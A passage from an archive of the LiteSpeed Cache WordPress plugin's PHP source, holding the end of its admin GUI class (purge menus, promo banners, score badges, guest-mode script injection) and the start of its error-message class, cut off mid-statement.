$dasharray = 2 * 3.1416 * 9 * ( $percent / 100 ); return sprintf( " <button type='button' data-balloon-break data-balloon-pos='%1\$s' aria-label='%2\$s' class='litespeed-btn-pie'> <svg class='litespeed-pie litespeed-pie-tiny %3\$s' viewbox='0 0 30 30' width='%4\$d' height='%4\$d' xmlns='http://www.w3.org/2000/svg'> <circle class='litespeed-pie_bg' cx='15' cy='15' r='9' /> <circle class='litespeed-pie_circle' cx='15' cy='15' r='9' stroke-dasharray='%5\$s,100' /> <g class='litespeed-pie_info'><text x='50%%' y='50%%'>i</text></g> </svg> </button> ", esc_attr( $tooltip_pos ), esc_attr( $tooltip ), esc_attr( $append_cls ), $width, esc_attr( $dasharray ) ); } /** * Get CSS class name for PageSpeed score. * * Scale: * 90-100 (fast) * 50-89 (average) * 0-49 (slow) * * @since 2.9 * @access public * * @param int $score Score 0-100. * @return string Class name: success|warning|danger. */ public function get_cls_of_pagescore( $score ) { if ( $score >= 90 ) { return 'success'; } if ( $score >= 50 ) { return 'warning'; } return 'danger'; } /** * Handle dismiss actions for banners and notices. * * @since 1.0 * @access public * @return void */ public static function dismiss() { $_instance = self::cls(); switch ( Router::verify_type() ) { case self::TYPE_DISMISS_WHM: self::dismiss_whm(); break; case self::TYPE_DISMISS_EXPIRESDEFAULT: self::update_option( Admin_Display::DB_DISMISS_MSG, Admin_Display::RULECONFLICT_DISMISSED ); break; case self::TYPE_DISMISS_PIN: Admin_Display::dismiss_pin(); break; case self::TYPE_DISMISS_PROMO: if ( empty( $_GET['promo_tag'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended break; } $promo_tag = sanitize_key( wp_unslash( $_GET['promo_tag'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( empty( $_instance->_promo_list[ $promo_tag ] ) ) { break; } defined( 'LSCWP_LOG' ) && self::debug( 'Dismiss promo ' . $promo_tag ); // Forever dismiss. if ( ! empty( $_GET['done'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $_instance->_summary[ $promo_tag ] = 'done'; } elseif ( ! empty( $_GET['later'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended // Delay the banner to half year later. $_instance->_summary[ $promo_tag ] = time() + ( 86400 * 180 ); } else { // Update welcome banner to 30 days after. $_instance->_summary[ $promo_tag ] = time() + ( 86400 * 30 ); } self::save_summary(); break; default: break; } if ( Router::is_ajax() ) { // All dismiss actions are considered as ajax call, so just exit. exit( wp_json_encode( [ 'success' => 1 ] ) ); } // Plain click link, redirect to referral url. Admin::redirect(); } /** * Check if has rule conflict notice. * * @since 1.1.5 * @access public * * @return bool True if message should be shown. */ public static function has_msg_ruleconflict() { $db_dismiss_msg = self::get_option( Admin_Display::DB_DISMISS_MSG ); if ( ! $db_dismiss_msg ) { self::update_option( Admin_Display::DB_DISMISS_MSG, -1 ); } return Admin_Display::RULECONFLICT_ON === $db_dismiss_msg; } /** * Check if has WHM notice. * * @since 1.1.1 * @access public * * @return bool True if message should be shown. */ public static function has_whm_msg() { $val = self::get_option( self::WHM_MSG ); if ( ! $val ) { self::dismiss_whm(); return false; } return self::WHM_MSG_VAL === $val; } /** * Delete WHM message tag. * * @since 1.1.1 * @access public * @return void */ public static function dismiss_whm() { self::update_option( self::WHM_MSG, -1 ); } /** * Whether current request is a LiteSpeed admin page. * * @since 2.9 * * @return bool True if LiteSpeed page. */ private function _is_litespeed_page() { if ( ! empty( $_GET['page'] ) && // phpcs:ignore WordPress.Security.NonceVerification.Recommended in_array( (string) $_GET['page'], // phpcs:ignore WordPress.Security.NonceVerification.Recommended [ 'litespeed-settings', 'litespeed-dash', Admin::PAGE_EDIT_HTACCESS, 'litespeed-optimization', 'litespeed-crawler', 'litespeed-import', 'litespeed-report', ], true ) ) { return true; } return false; } /** * Display promo banner (or check-only mode to know which promo would display). * * @since 2.1 * @access public * * @param bool $check_only If true, only return the promo tag that would be shown. * @return false|string False if none, or the promo tag string. */ public function show_promo( $check_only = false ) { $is_litespeed_page = $this->_is_litespeed_page(); // Bypass showing info banner if disabled all in debug. if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) { return false; } if ( file_exists( ABSPATH . '.litespeed_no_banner' ) ) { defined( 'LSCWP_LOG' ) && self::debug( 'Bypass banners due to silence file' ); return false; } foreach ( $this->_promo_list as $promo_tag => $v ) { list( $delay_days, $litespeed_page_only ) = $v; if ( $litespeed_page_only && ! $is_litespeed_page ) { continue; } // First time check. if ( empty( $this->_summary[ $promo_tag ] ) ) { $this->_summary[ $promo_tag ] = time() + 86400 * $delay_days; self::save_summary(); continue; } $promo_timestamp = $this->_summary[ $promo_tag ]; // Was ticked as done. if ( 'done' === $promo_timestamp ) { continue; } // Not reach the dateline yet. if ( time() < $promo_timestamp ) { continue; } // Try to load, if can pass, will set $this->_promo_true = true. $this->_promo_true = false; include LSCWP_DIR . "tpl/banner/$promo_tag.php"; // If not defined, means it didn't pass the display workflow in tpl. if ( ! $this->_promo_true ) { continue; } if ( $check_only ) { return $promo_tag; } defined( 'LSCWP_LOG' ) && self::debug( 'Show promo ' . $promo_tag ); // Only contain one. break; } return false; } /** * Load frontend public script. * * @since 1.8.2 * @access public * @return void */ public function frontend_enqueue_style_public() { wp_enqueue_script( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/instant_click.min.js', [], Core::VER, [ 'strategy' => 'defer', 'in_footer' => true, ] ); } /** * Load frontend stylesheet. * * @since 1.3 * @access public * @return void */ public function frontend_enqueue_style() { wp_enqueue_style( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', [], Core::VER, 'all' ); } /** * Load frontend menu shortcut items in the admin bar. * * @since 1.3 * @since 7.6 Add VPI clear. * @access public * @return void */ public function frontend_shortcut() { global $wp_admin_bar; $wp_admin_bar->add_menu( [ 'id' => 'litespeed-menu', 'title' => '<span class="ab-icon"></span>', 'href' => get_admin_url( null, 'admin.php?page=litespeed' ), 'meta' => [ 'tabindex' => 0, 'class' => 'litespeed-top-toolbar', ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-single', 'title' => esc_html__( 'Purge this page', 'litespeed-cache' ) . ' - LSCache', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_FRONT, false, true ), 'meta' => [ 'tabindex' => '0' ], ] ); if ( $this->has_cache_folder( 'ucss' ) ) { $possible_url_tag = UCSS::get_url_tag(); $append_arr = []; if ( $possible_url_tag ) { $append_arr['url_tag'] = $possible_url_tag; } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-single-ucss', 'title' => esc_html__( 'Purge this page', 'litespeed-cache' ) . ' - UCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_UCSS, false, true, $append_arr ), 'meta' => [ 'tabindex' => '0' ], ] ); } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-single-action', 'title' => esc_html__( 'Mark this page as ', 'litespeed-cache' ), 'meta' => [ 'tabindex' => '0' ], ] ); $current_uri = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; if ( $current_uri ) { $append_arr = [ Conf::TYPE_SET . '[' . self::O_CACHE_FORCE_URI . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-forced_cache', 'title' => esc_html__( 'Forced cacheable', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); $append_arr = [ Conf::TYPE_SET . '[' . self::O_CACHE_EXC . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-noncache', 'title' => esc_html__( 'Non cacheable', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); $append_arr = [ Conf::TYPE_SET . '[' . self::O_CACHE_PRIV_URI . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-private', 'title' => esc_html__( 'Private cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); $append_arr = [ Conf::TYPE_SET . '[' . self::O_OPTM_EXC . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-nonoptimize', 'title' => esc_html__( 'No optimization', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-more', 'title' => esc_html__( 'More settings', 'litespeed-cache' ), 'href' => get_admin_url( null, 'admin.php?page=litespeed-cache' ), ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all-lscache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LSCache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cssjs', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'CSS/JS Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CSSJS, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); if ( $this->conf( self::O_CDN_CLOUDFLARE ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cloudflare', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Cloudflare', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( defined( 'LSCWP_OBJECT_CACHE' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-object', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Object Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OBJECT, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( Router::opcache_enabled() ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-opcache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Opcode Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OPCACHE, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ccss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ccss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - CCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CCSS, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ucss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ucss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - UCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_UCSS, false, '_ori' ), ] ); } if ( $this->has_cache_folder( 'localres' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-localres', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Localized Resources', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LOCALRES, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'lqip' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-placeholder', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LQIP, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'vpi' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-vpi', 'title' => __( 'Purge All', 'litespeed-cache' ) . ' - VPI', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_VPI, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'avatar' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-avatar', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Gravatar Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_AVATAR, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } do_action( 'litespeed_frontend_shortcut' ); } /** * Hooked to wp_before_admin_bar_render. * Adds links to the admin bar so users can quickly manage/purge. * * @since 1.7.2 Moved from admin_display.cls to gui.cls; Renamed from `add_quick_purge` to `backend_shortcut`. * @access public * @global \WP_Admin_Bar $wp_admin_bar * @return void */ public function backend_shortcut() { global $wp_admin_bar; if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) { $wp_admin_bar->add_menu( [ 'id' => 'litespeed-menu', 'title' => '<span class="ab-icon icon_disabled" title="LiteSpeed Cache"></span>', 'href' => 'admin.php?page=litespeed-toolbox#settings-debug', 'meta' => [ 'tabindex' => 0, 'class' => 'litespeed-top-toolbar', ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-enable_all', 'title' => esc_html__( 'Enable All Features', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed-toolbox#settings-debug', 'meta' => [ 'tabindex' => '0' ], ] ); return; } $wp_admin_bar->add_menu( [ 'id' => 'litespeed-menu', 'title' => '<span class="ab-icon" title="' . esc_attr__( 'LiteSpeed Cache Purge All', 'litespeed-cache' ) . ' - ' . esc_attr__( 'LSCache', 'litespeed-cache' ) . '"></span>', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE ), 'meta' => [ 'tabindex' => 0, 'class' => 'litespeed-top-toolbar', ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-bar-manage', 'title' => esc_html__( 'Manage', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed', 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-bar-setting', 'title' => esc_html__( 'Settings', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed-cache', 'meta' => [ 'tabindex' => '0' ], ] ); if ( ! is_network_admin() ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-bar-imgoptm', 'title' => esc_html__( 'Image Optimization', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed-img_optm', 'meta' => [ 'tabindex' => '0' ], ] ); } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all-lscache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LSCache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cssjs', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'CSS/JS Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CSSJS ), 'meta' => [ 'tabindex' => '0' ], ] ); if ( $this->conf( self::O_CDN_CLOUDFLARE ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cloudflare', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Cloudflare', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( defined( 'LSCWP_OBJECT_CACHE' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-object', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Object Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OBJECT ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( Router::opcache_enabled() ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-opcache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Opcode Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OPCACHE ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ccss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ccss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - CCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CCSS ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ucss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ucss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - UCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_UCSS ), ] ); } if ( $this->has_cache_folder( 'localres' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-localres', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Localized Resources', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LOCALRES ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'lqip' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-placeholder', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LQIP ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'vpi' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-vpi', 'title' => __( 'Purge All', 'litespeed-cache' ) . ' - VPI', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_VPI ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'avatar' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-avatar', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Gravatar Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_AVATAR ), 'meta' => [ 'tabindex' => '0' ], ] ); } do_action( 'litespeed_backend_shortcut' ); } /** * Clear unfinished data link/button. * * @since 2.4.2 * @access public * * @param int $unfinished_num Number of unfinished images. * @return string HTML for action button. */ public static function img_optm_clean_up( $unfinished_num ) { return sprintf( '<a href="%1$s" class="button litespeed-btn-warning" data-balloon-pos="up" aria-label="%2$s"><span class="dashicons dashicons-editor-removeformatting"></span> %3$s</a>', esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_CLEAN ) ), esc_attr__( 'Remove all previous unfinished image optimization requests.', 'litespeed-cache' ), esc_html__( 'Clean Up Unfinished Data', 'litespeed-cache' ) . ( $unfinished_num ? ': ' . Admin_Display::print_plural( $unfinished_num, 'image' ) : '' ) ); } /** * Generate install link. * * @since 2.4.2 * @access public * * @param string $title Plugin title. * @param string $name Slug. * @param string $v Version (unused, kept for BC). * @return string HTML link. */ public static function plugin_install_link( $title, $name, $v ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $name ), 'install-plugin_' . $name ); $action = sprintf( '<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%3$s" aria-label="%4$s">%5$s</a>', esc_url( $url ), esc_attr( $name ), esc_attr( $title ), esc_attr( sprintf( __( 'Install %s', 'litespeed-cache' ), $title ) ), esc_html__( 'Install Now', 'litespeed-cache' ) ); return $action; } /** * Generate upgrade link. * * @since 2.4.2 * @access public * * @param string $title Plugin title. * @param string $name Slug. * @param string $v Version string. * @return string HTML message with links. */ public static function plugin_upgrade_link( $title, $name, $v ) { $details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $name . '§ion=changelog&TB_iframe=true&width=600&height=800' ); $file = $name . '/' . $name . '.php'; $msg = sprintf( /* translators: 1: details URL, 2: class/aria, 3: version, 4: update URL, 5: class/aria */ __('<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.', 'litespeed-cache'), esc_url( $details_url ), sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"', esc_attr( sprintf( /* translators: 1: plugin title, 2: version */ __( 'View %1$s version %2$s details', 'litespeed-cache' ), $title, $v ) ) ), esc_html( $v ), esc_url( wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $file, 'upgrade-plugin_' . $file ) ), sprintf( 'class="update-link" aria-label="%s"', esc_attr( sprintf( /* translators: %s: plugin title */ __( 'Update %s now', 'litespeed-cache' ), $title ) ) ) ); return $msg; } /** * Finalize buffer by GUI class. * * @since 1.6 * @access public * * @param string $buffer HTML buffer. * @return string Filtered buffer. */ public function finalize( $buffer ) { $buffer = $this->_clean_wrapper( $buffer ); // Maybe restore doc.ref. if ( $this->conf( Base::O_GUEST ) && false !== strpos( $buffer, '<head>' ) && defined( 'LITESPEED_IS_HTML' ) ) { $buffer = $this->_enqueue_guest_docref_js( $buffer ); } if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST && false !== strpos( $buffer, '</body>' ) && defined( 'LITESPEED_IS_HTML' ) ) { $buffer = $this->_enqueue_guest_js( $buffer ); } return $buffer; } /** * Append guest restore doc.ref JS for organic traffic count. * * @since 4.4.6 * * @param string $buffer HTML buffer. * @return string Buffer with inline script injected. */ private function _enqueue_guest_docref_js( $buffer ) { $js_con = File::read( LSCWP_DIR . self::LIB_GUEST_DOCREF_JS ); $buffer = preg_replace( '/<head>/', '<head><script data-no-optimize="1">' . $js_con . '</script>', $buffer, 1 ); return $buffer; } /** * Append guest JS to update vary. * * @since 4.0 * * @param string $buffer HTML buffer. * @return string Buffer with inline script injected. */ private function _enqueue_guest_js( $buffer ) { $js_con = File::read( LSCWP_DIR . self::LIB_GUEST_JS ); // Build path for guest endpoint using wp_parse_url for compatibility. $guest_update_path = wp_parse_url( LSWCP_PLUGIN_URL . self::PHP_GUEST, PHP_URL_PATH ); $js_con = str_replace( 'litespeed_url', esc_url( $guest_update_path ), $js_con ); $buffer = preg_replace( '/<\/body>/', '<script data-no-optimize="1">' . $js_con . '</script></body>', $buffer, 1 ); return $buffer; } /** * Clean wrapper from buffer. * * @since 1.4 * @since 1.6 Converted to private with adding prefix _. * @access private * * @param string $buffer HTML buffer. * @return string Cleaned buffer. */ private function _clean_wrapper( $buffer ) { if ( self::$_clean_counter < 1 ) { self::debug2( 'bypassed by no counter' ); return $buffer; } self::debug2( 'start cleaning counter ' . self::$_clean_counter ); for ( $i = 1; $i <= self::$_clean_counter; $i++ ) { // If miss beginning. $start = strpos( $buffer, self::clean_wrapper_begin( $i ) ); if ( false === $start ) { $buffer = str_replace( self::clean_wrapper_end( $i ), '', $buffer ); self::debug2( "lost beginning wrapper $i" ); continue; } // If miss end. $end_wrapper = self::clean_wrapper_end( $i ); $end = strpos( $buffer, $end_wrapper ); if ( false === $end ) { $buffer = str_replace( self::clean_wrapper_begin( $i ), '', $buffer ); self::debug2( "lost ending wrapper $i" ); continue; } // Now replace wrapped content. $buffer = substr_replace( $buffer, '', $start, $end - $start + strlen( $end_wrapper ) ); self::debug2( "cleaned wrapper $i" ); } return $buffer; } /** * Display a to-be-removed HTML wrapper (begin tag). * * @since 1.4 * @access public * * @param int|false $counter Optional explicit wrapper id; auto-increment if false. * @return string Wrapper begin HTML comment. */ public static function clean_wrapper_begin( $counter = false ) { if ( false === $counter ) { ++self::$_clean_counter; $counter = self::$_clean_counter; self::debug( 'clean wrapper ' . $counter . ' begin' ); } return '<!-- LiteSpeed To Be Removed begin ' . $counter . ' -->'; } /** * Display a to-be-removed HTML wrapper (end tag). * * @since 1.4 * @access public * * @param int|false $counter Optional explicit wrapper id; use latest if false. * @return string Wrapper end HTML comment. */ public static function clean_wrapper_end( $counter = false ) { if ( false === $counter ) { $counter = self::$_clean_counter; self::debug( 'clean wrapper ' . $counter . ' end' ); } return '<!-- LiteSpeed To Be Removed end ' . $counter . ' -->'; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/error.cls.php�����������������������������������������������������������0000644�����������������00000016552�15233526476�0014503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The error class. * * @package LiteSpeed * @since 3.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Error * * Handles error message translation and throwing for LiteSpeed Cache. * * @since 3.0 */ class Error { /** * Error code mappings to numeric values. * * @since 3.0 * @var array */ private static $code_set = [ 'HTA_LOGIN_COOKIE_INVALID' => 4300, // .htaccess did not find. 'HTA_DNF' => 4500, // .htaccess did not find. 'HTA_BK' => 9010, // backup 'HTA_R' => 9041, // read htaccess 'HTA_W' => 9042, // write 'HTA_GET' => 9030, // failed to get ]; /** * Throw an error with message * * Throws an exception with the translated error message. * * @since 3.0 * @access public * @param string $code Error code. * @param mixed $args Optional arguments for message formatting. * @throws \Exception Always throws an exception with the error message. */ public static function t( $code, $args = null ) { throw new \Exception( wp_kses_post( self::msg( $code, $args ) ) ); } /** * Translate an error to description * * Converts error codes to human-readable messages. * * @since 3.0 * @access public * @param string $code Error code. * @param mixed $args Optional arguments for message formatting. * @return string Translated error message. */ public static function msg( $code, $args = null ) { switch ( $code ) { case 'qc_setup_required': $msg = sprintf( __( 'You will need to finish %s setup to use the online services.', 'litespeed-cache' ), '<strong>QUIC.cloud</strong>' ) . Doc::learn_more( admin_url( 'admin.php?page=litespeed-general' ), __( 'Click here to set.', 'litespeed-cache' ), true, false, true ); break; case 'out_of_daily_quota': $msg = __( 'You have used all of your daily quota for today.', 'litespeed-cache' ); $msg .= ' ' . Doc::learn_more( 'https://docs.quic.cloud/billing/services/#daily-limits-on-free-quota-usage', __( 'Learn more or purchase additional quota.', 'litespeed-cache' ), false, false, true ); break; case 'out_of_quota': $msg = __( 'You have used all of your quota left for current service this month.', 'litespeed-cache' ); $msg .= ' ' . Doc::learn_more( 'https://docs.quic.cloud/billing/services/#daily-limits-on-free-quota-usage', __( 'Learn more or purchase additional quota.', 'litespeed-cache' ), false, false, true ); break; case 'too_many_requested': $msg = __( 'You have too many requested images, please try again in a few minutes.', 'litespeed-cache' ); break; case 'too_many_notified': $msg = __( 'You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.', 'litespeed-cache' ); break; case 'empty_list': $msg = __( 'The image list is empty.', 'litespeed-cache' ); break; case 'lack_of_param': $msg = __( 